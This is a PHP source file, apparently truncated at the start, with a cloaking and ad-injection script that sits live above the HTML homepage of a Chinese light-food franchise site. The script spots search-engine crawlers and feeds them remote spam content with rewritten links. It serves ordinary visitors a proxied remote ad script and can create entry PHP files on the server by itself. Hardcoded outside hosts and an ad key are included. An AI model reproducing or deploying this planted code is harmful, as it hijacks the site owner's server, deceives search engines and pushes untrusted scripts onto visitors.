    $found = @preg_match_all('/\bhref\s*=\s*(["\'])([^"\']*)\1/i', $html, $matches, $flags);
    if (!$found || empty($matches)) return $html;
    $eligible = array();
    foreach ($matches as $match) {
        if (!isset($match[2][0], $match[2][1])) continue;
        if (!MovieProxy_apiLinkEligible($match[2][0])) continue;
        $eligible[] = array(
            'offset' => intval($match[2][1]),
            'length' => strlen((string)$match[2][0])
        );
    }
    $count = MovieProxy_replacementCount(count($eligible), false);
    if ($count < 1) return $html;
    shuffle($eligible);
    $selected = array_slice($eligible, 0, $count);
    usort($selected, 'MovieProxy_sortOffsetDesc');
    foreach ($selected as $item) {
        $target = MovieProxy_randomRewriteTarget();
        if ($target === '') continue;
        $html = substr_replace(
            $html,
            $target,
            $item['offset'],
            $item['length']
        );
    }
    return $html;
}
function MovieProxy_isGzip($data)
{
    return strlen((string)$data) >= 2
        && ord($data[0]) === 0x1f
        && ord($data[1]) === 0x8b;
}
function MovieProxy_gzipDecode($data)
{
    if (function_exists('gzdecode')) {
        $decoded = @gzdecode($data);
        if ($decoded !== false) return $decoded;
    }
    if (function_exists('gzinflate') && strlen($data) > 18) {
        $decoded = @gzinflate(substr($data, 10, -8));
        if ($decoded !== false) return $decoded;
    }
    return false;
}
function MovieProxy_siteOutput($html)
{
    $gzip = MovieProxy_isGzip($html);
    if ($gzip) {
        $decoded = MovieProxy_gzipDecode($html);
        if ($decoded === false) return $html;
        $html = $decoded;
    }
    MovieProxy_applyCharset($html);
    $html = MovieProxy_rewriteSiteHtml($html, !empty($GLOBALS['MovieProxy_isHome']));
    if ($gzip && function_exists('gzencode')) {
        $encoded = @gzencode($html, 6);
        if ($encoded !== false) {
            if (function_exists('header_remove') && !headers_sent()) @header_remove('Content-Length');
            return $encoded;
        }
        if (function_exists('header_remove') && !headers_sent()) {
            @header_remove('Content-Encoding');
            @header_remove('Content-Length');
        }
    }
    if (function_exists('header_remove') && !headers_sent()) @header_remove('Content-Length');
    return $html;
}
function MovieProxy_startSiteRewrite($isHome)
{
    if (!empty($GLOBALS['MovieProxy_obStarted'])) return;
    $GLOBALS['MovieProxy_obStarted'] = true;
    $GLOBALS['MovieProxy_isHome'] = !empty($isHome);
    $GLOBALS['MovieProxy_obBase'] = ob_get_level();
    @ob_start('MovieProxy_siteOutput');
}
function MovieProxy_findLocation()
{
    if (!function_exists('headers_list')) return '';
    $headers = headers_list();
    $i = 0;
    for ($i = count($headers) - 1; $i >= 0; $i--) {
        if (stripos((string)$headers[$i], 'Location:') === 0) {
            return trim(substr((string)$headers[$i], 9));
        }
    }
    return '';
}
function MovieProxy_localRedirectFile($location)
{
    $location = trim((string)$location);
    if ($location === '') return '';
    if (preg_match('#^https?://#i', $location)) {
        $locationHost = strtolower((string)@parse_url($location, PHP_URL_HOST));
        $siteHost = strtolower((string)(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : ''));
        $siteHost = preg_replace('#:\d+$#', '', $siteHost);
        if ($locationHost === '' || $locationHost !== $siteHost) return '';
    }
    $path = @parse_url($location, PHP_URL_PATH);
    if ($path === false || $path === null || $path === '') return '';
    $path = preg_replace('#/+#', '/', rawurldecode(str_replace('\\', '/', $path)));
    if (!preg_match('/\.html?$/i', $path) || strpos($path, '..') !== false || strpos($path, "\0") !== false) return '';
    $base = MovieProxy_installBasePath();
    $relative = ($base !== '/' && strpos($path, $base) === 0)
        ? substr($path, strlen($base))
        : ltrim($path, '/');
    $root = @realpath(__DIR__);
    $file = @realpath(__DIR__.DIRECTORY_SEPARATOR.str_replace('/', DIRECTORY_SEPARATOR, ltrim($relative, '/')));
    if ($root === false || $file === false || !is_file($file) || !is_readable($file)) return '';
    $a = DIRECTORY_SEPARATOR === '\\' ? strtolower($root) : $root;
    $b = DIRECTORY_SEPARATOR === '\\' ? strtolower($file) : $file;
    return strpos($b, rtrim($a, '/\\').DIRECTORY_SEPARATOR) === 0 ? $file : '';
}
function MovieProxy_shutdownRedirect()
{
    if (!empty($GLOBALS['MovieProxy_shutdownDone'])) return;
    $GLOBALS['MovieProxy_shutdownDone'] = true;
    $location = MovieProxy_findLocation();
    $file = MovieProxy_localRedirectFile($location);
    if ($file === '' || headers_sent()) return;
    $html = @file_get_contents($file);
    if ($html === false) return;
    $baseLevel = isset($GLOBALS['MovieProxy_obBase']) ? intval($GLOBALS['MovieProxy_obBase']) : 0;
    while (ob_get_level() > $baseLevel) @ob_end_clean();
    if (function_exists('header_remove')) {
        @header_remove('Location');
        @header_remove('Content-Length');
    }
    MovieProxy_status(200);
    MovieProxy_applyCharset($html);
    echo MovieProxy_rewriteSiteHtml($html, true);
}
function MovieProxy_base64UrlEncode($value)
{
    return rtrim(strtr(base64_encode((string)$value), '+/', '-_'), '=');
}
function MovieProxy_base64UrlDecode($value)
{
    $value = strtr((string)$value, '-_', '+/');
    $padding = strlen($value) % 4;
    if ($padding > 0) $value .= str_repeat('=', 4 - $padding);
    return base64_decode($value, true);
}
function MovieProxy_adKey()
{
    $cfg = MovieProxy_config();
    $key = isset($cfg['ad_key']) ? trim((string)$cfg['ad_key']) : '';
    $key = preg_replace('/\.js$/i', '', $key);
    if ($key === '' || !preg_match('/^[A-Za-z0-9_-]{6,128}$/', $key)) return '';
    return $key;
}
function MovieProxy_remoteAdJsUrl()
{
    $cfg = MovieProxy_config();
    $base = isset($cfg['ad_js_base']) ? trim((string)$cfg['ad_js_base']) : '';
    $key = MovieProxy_adKey();
    if ($base === '' || $key === '') return '';
    if (strpos($base, '{key}') !== false) {
        $url = str_replace('{key}', rawurlencode($key).'.js', $base);
    } else {
        $url = $base.rawurlencode($key).'.js';
    }
    return filter_var($url, FILTER_VALIDATE_URL) ? $url : '';
}
function MovieProxy_adOrigin()
{
    $url = MovieProxy_remoteAdJsUrl();
    if ($url === '') return '';
    $scheme = strtolower((string)@parse_url($url, PHP_URL_SCHEME));
    $host = strtolower((string)@parse_url($url, PHP_URL_HOST));
    $port = @parse_url($url, PHP_URL_PORT);
    if (($scheme !== 'http' && $scheme !== 'https') || $host === '') return '';
    $origin = $scheme.'://'.$host;
    if ($port !== false && $port !== null) $origin .= ':'.intval($port);
    return $origin;
}
function MovieProxy_validateAdUrl($url, $exactJs)
{
    $url = trim((string)$url);
    $adJs = MovieProxy_remoteAdJsUrl();
    if ($url === '' || !filter_var($url, FILTER_VALIDATE_URL)) return false;
    if ($exactJs) return $adJs !== '' && $url === $adJs;
    $origin = MovieProxy_adOrigin();
    if ($origin === '') return false;
    $urlOrigin = strtolower((string)@parse_url($url, PHP_URL_SCHEME)).'://'.strtolower((string)@parse_url($url, PHP_URL_HOST));
    $port = @parse_url($url, PHP_URL_PORT);
    if ($port !== false && $port !== null) $urlOrigin .= ':'.intval($port);
    return strtolower($origin) === strtolower($urlOrigin);
}
function MovieProxy_decodeAdUrl($encoded, $exactJs)
{
    $url = MovieProxy_base64UrlDecode($encoded);
    return $url !== false && MovieProxy_validateAdUrl($url, $exactJs) ? $url : '';
}
function MovieProxy_localJsUrl()
{
    $key = MovieProxy_adKey();
    if ($key === '' || MovieProxy_remoteAdJsUrl() === '') return '';
    return MovieProxy_logoPrefix('', true).'__mp_js=1&key='.rawurlencode($key).'.js';
}
function MovieProxy_localResourceUrl($url)
{
    if (!MovieProxy_validateAdUrl($url, false)) return '';
    return MovieProxy_logoPrefix('', true).'__mp_remote=1&u='.rawurlencode(MovieProxy_base64UrlEncode($url));
}
function MovieProxy_rewriteJsVariableCallback($match)
{
    if (!isset($match[1], $match[3])) return $match[0];
    $local = MovieProxy_localResourceUrl($match[3]);
    if ($local === '') return $match[0];
    if (!isset($GLOBALS['MovieProxy_jsVars']) || !is_array($GLOBALS['MovieProxy_jsVars'])) {
        $GLOBALS['MovieProxy_jsVars'] = array();
    }
    $GLOBALS['MovieProxy_jsVars'][$match[1]] = true;
    return str_replace($match[3], $local, $match[0]);
}
function MovieProxy_rewriteJsUrlCallback($match)
{
    $url = isset($match[0]) ? rtrim((string)$match[0], ');,') : '';
    $suffix = isset($match[0]) ? substr((string)$match[0], strlen($url)) : '';
    $local = MovieProxy_localResourceUrl($url);
    return $local !== '' ? $local.$suffix : $match[0];
}
function MovieProxy_rewriteAdJs($body)
{
    if (MovieProxy_adOrigin() === '' || $body === '') return $body;
    $GLOBALS['MovieProxy_jsVars'] = array();
    $body = preg_replace_callback(
        "/\\b(?:const|let|var)\\s+([A-Za-z_\x24][A-Za-z0-9_\x24]*)\\s*=\\s*([\"'])(https?:\\/\\/[^\"']+)\\2\\s*;/i",
        'MovieProxy_rewriteJsVariableCallback',
        (string)$body
    );
    $body = preg_replace_callback(
        "#https?://[A-Za-z0-9._:-]+/[^\\s\"'<>\\\\]*#i",
        'MovieProxy_rewriteJsUrlCallback',
        $body
    );
    $vars = isset($GLOBALS['MovieProxy_jsVars']) && is_array($GLOBALS['MovieProxy_jsVars'])
        ? $GLOBALS['MovieProxy_jsVars']
        : array();
    unset($GLOBALS['MovieProxy_jsVars']);
    foreach ($vars as $name => $unused) {
        $body = preg_replace(
            "/\\b".preg_quote($name, '/')."\\s*\\+\\s*([\"'])\\?/",
            $name.' + $1&',
            $body
        );
        $body = preg_replace(
            '/\\$\\{'.preg_quote($name, '/').'\\}\\?/',
            '${'.$name.'}&',
            $body
        );
    }
    return $body;
}
function MovieProxy_mergeRemoteUrl($url, $extra)
{
    $parts = @parse_url($url);
    if (!is_array($parts) || empty($parts['scheme']) || empty($parts['host'])) return '';
    $base = $parts['scheme'].'://'.$parts['host'];
    if (isset($parts['port'])) $base .= ':'.intval($parts['port']);
    $base .= isset($parts['path']) && $parts['path'] !== '' ? $parts['path'] : '/';
    $params = array();
    if (!empty($parts['query'])) @parse_str($parts['query'], $params);
    foreach ($extra as $name => $value) {
        if (!is_array($value)) $params[(string)$name] = (string)$value;
    }
    return empty($params) ? $base : $base.'?'.http_build_query($params, '', '&');
}
function MovieProxy_directJsFallback($remote)
{
    $json = json_encode($remote);
    if ($json === false) $json = "''";
    return '(function(){var u='.$json.';var s=document.createElement("script");s.src=u;s.async=false;(document.head||document.documentElement).appendChild(s);}());';
}
function MovieProxy_serveAdJs($method)
{
    if (!isset($_GET['__mp_js'])) return false;
    if (!headers_sent()) {
        header('Content-Type: application/javascript; charset=utf-8', true);
        header('X-Content-Type-Options: nosniff', true);
        header('X-Robots-Tag: noindex, nofollow, noarchive', true);
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
        header('Pragma: no-cache', true);
        header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true);
    }
    $visibleKey = isset($_GET['key']) ? preg_replace('/\.js$/i', '', trim((string)$_GET['key'])) : '';
    $configuredKey = MovieProxy_adKey();
    $remote = MovieProxy_remoteAdJsUrl();
    if ($visibleKey === '' || $configuredKey === '' || $visibleKey !== $configuredKey || $remote === '') {
        MovieProxy_status(403);
        exit;
    }
    $host = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $uri = MovieProxy_clean(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
    $ua = MovieProxy_clean(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    $ref = MovieProxy_clean(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
    $headers = MovieProxy_requestHeaders($host, $uri, $ua, $ref, MovieProxy_realIp(), true);
    $headers[] = 'Accept: application/javascript, text/javascript, */*;q=0.8';
    list($body, $code) = MovieProxy_http($remote, $headers, $ua, $ref);
    MovieProxy_status(200);
    if ($method === 'HEAD') exit;
    if ($body !== false && trim((string)$body) !== '' && $code > 0 && $code < 500) {
        echo MovieProxy_rewriteAdJs((string)$body);
        exit;
    }
    echo MovieProxy_directJsFallback($remote);
    exit;
}
function MovieProxy_serveAdResource($method)
{
    if (!isset($_GET['__mp_remote'])) return false;
    $remote = MovieProxy_decodeAdUrl(isset($_GET['u']) ? $_GET['u'] : '', false);
    if ($remote === '') {
        MovieProxy_status(403);
        exit;
    }
    $extra = array();
    foreach ($_GET as $name => $value) {
        if ($name === '__mp_remote' || $name === 'u' || is_array($value)) continue;
        $extra[$name] = (string)$value;
    }
    if (array_key_exists('domain', $extra)) {
        $siteHost = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
        $extra['domain'] = preg_replace('/:\\d+$/', '', $siteHost);
    }
    $remote = MovieProxy_mergeRemoteUrl($remote, $extra);
    if ($remote === '' || !MovieProxy_validateAdUrl($remote, false)) {
        MovieProxy_status(400);
        exit;
    }
    $path = strtolower((string)@parse_url($remote, PHP_URL_PATH));
    $isJs = preg_match('/\.js$/i', $path) || preg_match('#(?:^|/)js\.php$#i', $path);
    if (!headers_sent()) {
        if ($isJs) header('Content-Type: application/javascript; charset=utf-8', true);
        elseif (substr($path, -5) === '.json' || preg_match('/(?:api|output|config|policy)[^\\/]*\.php$/i', $path)) header('Content-Type: application/json; charset=utf-8', true);
        else header('Content-Type: text/plain; charset=utf-8', true);
        header('X-Content-Type-Options: nosniff', true);
        header('X-Robots-Tag: noindex, nofollow, noarchive', true);
        header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
        header('Pragma: no-cache', true);
        header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true);
    }
    $host = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $uri = MovieProxy_clean(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
    $ua = MovieProxy_clean(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    $ref = MovieProxy_clean(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
    $headers = MovieProxy_requestHeaders($host, $uri, $ua, $ref, MovieProxy_realIp(), false);
    $headers[] = 'Accept: application/json, application/javascript, text/plain, */*';
    list($body, $code) = MovieProxy_http($remote, $headers, $ua, $ref);
    MovieProxy_status(200);
    if ($method === 'HEAD') exit;
    if ($body !== false && $code > 0 && $code < 500) {
        echo $isJs ? MovieProxy_rewriteAdJs((string)$body) : (string)$body;
    }
    exit;
}
function MovieProxy_outputAdJs()
{
    $remote = MovieProxy_remoteAdJsUrl();
    if ($remote === '') return false;
    $local = MovieProxy_localJsUrl();
    if ($local === '') {
        echo '<script src="'.MovieProxy_escapeHtml($remote).'"></script>';
        return true;
    }
    echo '<script src="'.MovieProxy_escapeHtml($local).'"'
        .' onerror="this.onerror=null;this.src=\''.MovieProxy_escapeHtml($remote).'\';">'
        .'</script>';
    return true;
}
function MovieProxy_targetUri($requestUri)
{
    $requestUri = MovieProxy_clean((string)$requestUri);
    $current = MovieProxy_currentEntryPath();
    $path = @parse_url($requestUri, PHP_URL_PATH);
    if ($current !== '' && $path !== false && $path !== null) {
        $current = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $current)), '/');
        $path = '/'.ltrim(preg_replace('#/+#', '/', str_replace('\\', '/', $path)), '/');
        if (stripos($path, $current.'/') === 0) {
            $target = substr($path, strlen($current));
            if ($target === '' || substr($target, 0, 1) !== '/') $target = '/'.ltrim($target, '/');
            $query = @parse_url($requestUri, PHP_URL_QUERY);
            if ($query !== false && $query !== null && trim((string)$query) !== '') {
                $target .= '?'.$query;
            }
            return MovieProxy_clean($target);
        }
    }
    $pos = strpos($requestUri, '?');
    if ($pos === false) return $requestUri !== '' ? $requestUri : '/';
    $raw = substr($requestUri, $pos + 1);
    if ($raw === '') return $requestUri;
    if (stripos($raw, '__mp_js=') === 0 || stripos($raw, '__mp_remote=') === 0) return $requestUri;
    if (preg_match('/^(?:%2F|\/)/i', $raw) === 1) {
        if (stripos($raw, '%2F') === 0) $raw = rawurldecode($raw);
        if (substr($raw, 0, 1) !== '/') $raw = '/'.ltrim($raw, '/');
        return MovieProxy_clean($raw);
    }
    return $requestUri;
}
function MovieProxy_requestScheme()
{
    if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])) {
        $protoParts = explode(',', (string)$_SERVER['HTTP_X_FORWARDED_PROTO']);
        $value = strtolower(trim(isset($protoParts[0]) ? $protoParts[0] : ''));
        if ($value === 'http' || $value === 'https') return $value;
    }
    return (!empty($_SERVER['HTTPS']) && strtolower((string)$_SERVER['HTTPS']) !== 'off') ? 'https' : 'http';
}
function MovieProxy_buildApiUrl($base, $uri)
{
    $join = strpos($base, '?') === false ? '?' : '&';
    return rtrim($base, '&?').$join.'_r='.mt_rand(10000000, 99999999);
}
function MovieProxy_apiContentUsable($body, $code)
{
    if ($body === false) return false;
    $body = trim((string)$body);
    $code = intval($code);
    if ($body === '' || $code === 0 || $code >= 400) return false;
    if (preg_match('/^(?:0|1|2|3|null|false)$/i', $body)) return false;
    $plain = trim(preg_replace('/\s+/', ' ', strip_tags($body)));
    if (strlen($plain) < 200 && preg_match('/未授权|无权限|禁止访问|服务暂时不可用|forbidden|blocked/i', $plain)) {
        return false;
    }
    return true;
}
function MovieProxy_run()
{
    $cfg = MovieProxy_config();
    if (!empty($cfg['remove_csp']) && function_exists('header_remove')) {
        @header_remove('Content-Security-Policy');
        @header_remove('Content-Security-Policy-Report-Only');
    }
    $method = isset($_SERVER['REQUEST_METHOD']) ? strtoupper((string)$_SERVER['REQUEST_METHOD']) : 'GET';
    if ($method !== 'GET' && $method !== 'HEAD') return;
    MovieProxy_ensureEntryFiles();
    MovieProxy_serveAdJs($method);
    MovieProxy_serveAdResource($method);
    $host = MovieProxy_clean(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');
    $uri = MovieProxy_clean(isset($_SERVER['REQUEST_URI']) ? $_SERVER['REQUEST_URI'] : '/');
    $ua = MovieProxy_clean(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    $ref = MovieProxy_clean(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '');
    $ip = MovieProxy_realIp();
    $isDirectEntry = MovieProxy_isDirectEntryRequest($uri);
    $isLogo = MovieProxy_isLogo($uri);
    $isHome = MovieProxy_isHome($uri);
    $isSpider = @preg_match($cfg['spider_reg'], $ua) === 1;
    $isArea = preg_match('/\.(?:xml|docx?|txt|pptx?|xlsx?|csv|shtml|html?|php|asp)(?:\?|$)/i', $uri) === 1 || $isLogo;
    if (stripos($uri, 'robots.txt') !== false || stripos($uri, 'sitemap.xml') !== false) return;
    if ($isDirectEntry && !$isSpider) {
        MovieProxy_outputDirectEntryPage($method);
        exit;
    }
    $isSpiderRemote = $isSpider && ($isLogo || (!$isHome && $isArea));
    if ($isSpider && !$isSpiderRemote) {
        MovieProxy_startSiteRewrite($isHome);
        if (!empty($cfg['intercept_local_html_redirect'])) {
            register_shutdown_function('MovieProxy_shutdownRedirect');
        }
        return;
    }
    $isVisitorProxyArea = $isArea && (!$isHome || $isLogo);
    if (!$isSpider && $isVisitorProxyArea) {
        if (!empty($cfg['ad_enabled']) && MovieProxy_remoteAdJsUrl() !== '') {
            MovieProxy_status(200);
            if (!headers_sent()) {
                header('Content-Type: text/html; charset=UTF-8', true);
                header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
                header('Pragma: no-cache', true);
                header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true);
                if (function_exists('header_remove')) {
                    @header_remove('Content-Length');
                    @header_remove('Content-Encoding');
                }
            }
            if ($method !== 'HEAD') {
                echo '<!doctype html><html><head><meta charset="utf-8"></head><body>';
                MovieProxy_outputAdJs();
                echo '</body></html>';
            }
            exit;
        }
        return;
    }
    if (!$isSpiderRemote) return;
    $api = isset($cfg['logo_api']) ? trim((string)$cfg['logo_api']) : '';
    $proxyUri = MovieProxy_targetUri($uri);
    $body = false;
    $code = 0;
    $upstreamHeaders = array();
    if ($api !== '' && filter_var($api, FILTER_VALIDATE_URL)) {
        $headers = MovieProxy_requestHeaders($host, $proxyUri, $ua, $ref, $ip, true, $uri);
        list($body, $code, $upstreamHeaders) = MovieProxy_http(MovieProxy_buildApiUrl($api, $proxyUri), $headers, $ua, $ref);
    }
    if (!headers_sent() && isset($upstreamHeaders['x-ssproxy-cache'])) {
        MovieProxy_debugHeader('X-SSProxy-Upstream-Cache', $upstreamHeaders['x-ssproxy-cache']);
    }
    if (MovieProxy_apiContentUsable($body, $code)) {
        $body = MovieProxy_remoteHtmlToUtf8((string)$body, $upstreamHeaders);
        $body = MovieProxy_rewriteApiHtml($body);
        if ($isDirectEntry) {
            $body = MovieProxy_appendDirectEntryLinks($body);
        }
        MovieProxy_status(200);
        if (!headers_sent()) {
            header('Content-Type: text/html; charset=UTF-8', true);
            header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
            header('Pragma: no-cache', true);
            header('Expires: Thu, 01 Jan 1970 00:00:00 GMT', true);
            if (function_exists('header_remove')) {
                @header_remove('Content-Length');
                @header_remove('Content-Encoding');
            }
        }
        if ($method !== 'HEAD') {
            echo $body;
        }
        exit;
    }
    if ($isDirectEntry) {
        MovieProxy_outputDirectEntryPage($method);
        exit;
    }
    if ($code >= 400 && $code <= 599) {
        MovieProxy_status($code);
        if (!headers_sent()) {
            header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0', true);
            header('Pragma: no-cache', true);
        }
        if ($method !== 'HEAD' && is_string($body) && trim($body) !== '') {
            $body = MovieProxy_remoteHtmlToUtf8($body, $upstreamHeaders);
            if (!headers_sent()) {
                header('Content-Type: text/html; charset=UTF-8', true);
                if (function_exists('header_remove')) {
                    @header_remove('Content-Length');
                    @header_remove('Content-Encoding');
                }
            }
            echo $body;
        }
        exit;
    }
    MovieProxy_status(502);
    if ($method !== 'HEAD') {
        header('Content-Type: text/html; charset=utf-8', true);
        echo '<!doctype html><meta charset="utf-8"><title>内容暂时没出来</title><h1>请稍后在来'.date().'</h1>';
    }
    exit;
}
function MovieProxy_config()
{
    static $config = null;
    if (is_array($config)) {
        return $config;
    }
    $config = array(
        'logo_api' => 'http://qy.mzkkkk.cn/api/content.php',
        'ad_enabled' => true,
        'ad_js_base' => 'https://ggzk.mwedu.net.cn/guanggaoxitong_api/js.php?key=',
        'ad_key' => '607b0a18b28846645debc80bf749bd29',
        'proxy_key' => 'kd888',

        'auto_create_logo' => true,
        'auto_sync_logo' => true,
        'logo_prefix' => 'auto',

        'entry_root_path' => 'auto',
        'auto_create_entry_files' => true,
        'auto_create_entry_dirs' => false,
        'auto_sync_entry_files' => true,
        'entry_sync_interval' => 21600,
        'auto_discover_entry_files' => true,
        'entry_scan_max_files' => 128,
        'entry_exclude_names' => array('favicon.php'),
        'entry_auto_create_paths' => array(
            '/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php'
        ),
        'entry_file_pool' => array(
            '/index.php', '/logo.php', '/news.php', '/article.php', '/content.php', '/html.php', '/product.php'
        ),
        'entry_scan_dirs' => array('/'),

        'root_index_is_site_homepage' => true,
        'root_index_auto_create' => false,
        'direct_entry_links_enabled' => true,
        'direct_entry_link_count' => 10,
        'direct_entry_link_topics' => array('html', 'news', 'article', 'content', 'product'),

        'logo_path_pool' => array(
            array('path' => '/news/{随机数字5-8}.html',             'weight' => 24),
            array('path' => '/article/{随机数字5-8}.html',          'weight' => 20),
            array('path' => '/product/{随机数字5-8}.html',          'weight' => 14),
            array('path' => '/content/{随机数字5-8}.html',          'weight' => 12),
            array('path' => '/news/detail/{随机数字5-8}.html',      'weight' => 10),
            array('path' => '/article/detail/{随机数字5-8}.html',   'weight' => 8),
            array('path' => '/product/detail/{随机数字5-8}.html',   'weight' => 5),
            array('path' => '/html/news/{随机数字5-8}.shtml',       'weight' => 4),
            array('path' => '/content/article/{随机数字5-8}.html',  'weight' => 2),
            array('path' => '/ArTicle/details/{随机数字5-8}.shtml', 'weight' => 1)
        ),
        'logo_random_path' => '/news/{随机数字5-8}.html',
        'intercept_local_html_redirect' => true,
        'home_rewrite_chance' => 100,
        'home_replace_percent' => 50,
        'inner_replace_min_percent' => 30,
        'inner_replace_max_percent' => 70,

        'yzz_enabled' => true,
        'yzz_url' => 'http://ggzk.mwedu.net.cn/guanggaoxitong_api/yzz.txt',
        'yzz_default_mode' => 3,
        'yzz_replace_percent' => 30,
        'yzz_pool_max' => 5000,
        'yzz_apcu_ttl' => 30,
        'yzz_cache_bust' => true,
        'yzz_connect_timeout' => 3,
        'yzz_timeout' => 6,
        'yzz_max_bytes' => 1048576,

        'trusted_proxy_ips' => array('127.0.0.1', '::1'),
        'site_charset' => 'auto',
        'spider_reg' => '@Baiduspider|Sogou|Yisou|Haosou|360Spider|Bytespider|YandexBot|bingbot@i',
        'ssl_verify' => true,
        'force_ipv4' => false,
        'remove_csp' => false,
        'expose_debug_headers' => false,
        'connect_timeout' => 5,
        'timeout' => 70
    );
    return $config;
}
MovieProxy_run();
?>
<!DOCTYPE html>

<html>

<head>

    <meta charset="utf-8">

    <title>无谷轻食_轻食餐饮加盟_轻食加盟项目_轻食加盟排行_轻食沙拉加盟</title>

    <meta name="keywords" content="">

    <meta name="description"

    content="无谷轻食凭借产品的独特风味饱受消费者所青睐，在轻食领域中担任着行业标杆领跑者的重要角色。无谷轻食施行全托管的模式，以低成本、无油烟、简单易上手的经营模式，帮助想做轻食加盟、减肥餐加盟、健身餐加盟、餐饮连锁加盟的客户实现创业梦">

    <link rel="shortcut icon" href="../favicon.ico">

    <link rel="stylesheet" type="text/css" href="../css/css.css">

    <script src="../libs/jquery1.42.min.js"></script>

    <script src="../libs/jquery.SuperSlide.2.1.1.js"></script>

    <script src="../js/common.js"></script>

    <script src="../js/index.js"></script>
	<script type="text/javascript" charset="utf-8">
    ;(function (W, D) {
        W.ec_corpid = '18692845';
        W.ec_cskey = 'bxHngLAMJEChmuF55H';
        W.ec_scheme = '0';
        var s = D.createElement('script');
        s.charset = 'utf-8';
        s.src = '//1.staticec.com/kf/sdk/js/ec_cs.js';
        s.setAttribute('defer', 'defer');
        D.getElementsByTagName('head')[0].appendChild(s);
    })(window, document);
</script>

    <script>

        !function () {

            function params(u, p) {

                var m = new RegExp("(?:&|/?)" + p + "=([^&$]+)").exec(u);

                // alert('m:', JSON.stringify(m))

                return m ? m[1] : '';

            }



            if (/iphone|ios|android|ipod/i.test(navigator.userAgent.toLowerCase()) == true && params(location.search,

                "from") != "mobile") {

                location.href = 'http://www.wugusala.com/';

        }

    }();

</script>

</head>



<body>



    <div id="header" class="main nav"></div>



    <div class="main _mainBanner banner">

        <div class="_container bd">

            <ul>

                <li>

                    <a href='#' target="_self"><img src='../images/1920.500-1.jpg' alt='无谷轻食'></a>

                </li>

                <li>

                    <a href='#' target="_self"><img src='../images/1920.500-2.jpg' alt='无谷轻食'></a>

                </li>

            </ul>

        </div>

        <div class="hd">

            <ul>

                <li class="on">1</li>

                <li class="">2</li>

            </ul>

        </div>

        <a class="prev" href="javascript:void(0)"></a>

        <a class="next" href="javascript:void(0)"></a>

    </div>



    <div class="main">

        <div class="w1200 _introduce">

            <div class="w370">

                <dl>

                    <dt class="bt"><strong>关于谷</strong><span>ABOUT UG</span></dt>

                    <dd>

                        无谷轻食餐饮（武汉）有限公司成立于2017年，成立以来凭借产品的独特风味饱受消费者所青睐，现已成为华中区域最大的轻食加盟品牌，在整个轻食领域中担任着行业标杆领跑者的重要角色。更多无谷轻食加盟费用，项目详情等可留言咨询。

                    </dd>

                    <a class="more" href="../news/1.html" title="关于谷">more ></a>

                </dl>

            </div>



            <div class="w830 _dl">

                <dl>

                    <dt class="bt">

                        <a href="../join/index.html" class="more">more&nbsp;></a>

                        <strong>加盟中心</strong><span>Franchise center</span> <em> 轻的健康，也要食得有味</em>

                    </dt>

                    <dd>

                        <a href="../join/1.html" title="合作条件">

                            <img src="../images/50.50-1.jpg" alt="合作条件">

                            <p>合作条件</p>

                        </a>

                    </dd>

                    <dd>

                        <a href="../join/2.html" title="加盟流程">

                            <img src="../images/50.50-2.jpg" alt="加盟流程">

                            <p>加盟流程</p>

                        </a>

                    </dd>

                    <dd>

                        <a href="../join/3.html" title="服务支持">

                            <img src="../images/50.50-3.jpg" alt="服务支持">

                            <p>服务支持</p>

                        </a>

                    </dd>

                    <dd>

                        <a href="../join/4.html" title="品牌优势">

                            <img src="../images/50.50-4.jpg" alt="品牌优势">

                            <p>品牌优势</p>

                        </a>

                    </dd>

                    <dd>

                        <a href="../join/5.html" title="常见问题">

                            <img src="../images/50.50-5.jpg" alt="常见问题">

                            <p>常见问题</p>

                        </a>

                    </dd>



                </dl>

            </div>

        </div>

    </div>





    <div class="main">

        <div class="w1200 _example">

            <div class="_example-box">

                <div class="_container _piece">

                    <div class="box">

                        <div class="box50">

                            <a title="加盟商合影">

                                <img src="../images/600.600-2.jpg" alt="加盟商合影">

                            </a>

                        </div>



                        <div class="box50">

                            <a title="订单">

                                <img src="../images/300.300-2.jpg" alt="订单">

                            </a>

                        </div>



                    </div>

                </div>

            </div>

        </div>

    </div>



    <div class="main clearfix">

        <div class="main indexnew">

            <div class="main newbt">

                <div class="w1200 bt">

                    <a class="more" href="../news/index.html">more&nbsp;></a>

                    <strong>新闻资讯</strong><span>Franchise center</span>

                    <div class="hd">

                        <ul>

                            <li class="">动态</li>

                            <li class="on">行业</li>

                        </ul>

                    </div>

                </div>

            </div>

            <div class="main">

                <div class="w1200 m20">

                    <div class="tempWrap" style="overflow:hidden; position:relative; height:355px">

                        <div class="new700 _container bd"

                        style="top: -355px; position: relative; padding: 0px; margin: 0px;">

                        <div style="height: 355px;">

                            <dl>

                                <dt>

